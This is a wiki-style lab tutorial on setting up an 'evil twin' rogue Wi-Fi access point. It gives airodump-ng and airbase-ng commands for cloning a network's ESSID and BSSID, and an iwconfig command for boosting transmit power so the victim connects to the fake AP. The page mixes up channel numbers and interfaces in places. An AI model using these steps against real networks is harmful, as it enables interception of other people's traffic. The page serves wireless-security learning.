Evil Twin/Setup

Setup

The Machines

A note on machine names.

kronos is the sheep.

mars is the attacker.

Goodies

On the attacking machine:

mars $ apt-get install bridge-utils

Procedure

Connect Sheep to Good Twin

First step is to connect the sheep to the good twin:

$ iw dev wlan1 scan
$ wpa_supplicant -D nl80211,wext -i wlan1 -c <(wpa_passphrase "YourESSIDHere" "YourPassphraseHere")

Device Information

Get info about your devices:

mars $ iwconfig

AP Information

Get info about the Good Twin AP:

mars $ airodump-ng wlan0

Create Evil Twin (Window 1)

To create our Evil Twin AP, we'll use airbase:

mars $ airbase-ng -a <BSSID> --essid <ESSID> -c <channel> <interface>

or, to make it shorter,

mars $ airbase-ng --essid <ESSID of network> <interface>

So for example, we might listen for the Good Twin router on channel 11, see it, then create our base station:

mars $ airbase-ng -a AA:BB:CC:DD:EE:FF --essid "HomeRouter" -c 10 wlan1
21:39:29  Created tap interface at0
21:39:29  Trying to set MTU on at0 to 1500
21:39:29  Trying to set MTU on wlan1 to 1800
21:39:29  Access Point with BSSID AA:BB:CC:DD:EE:FF started.

Make Evil Twin Obnoxious

To make sure that the Sheep only hears the Evil Twin, you can crank up the power:

iwconfig wlan0 txpower 27

WARNING: You can break the law by transmitting at too high a power. Know the laws. You are responsible for your actions and you are responsible for not breaking the law.

DUH.

Anyway...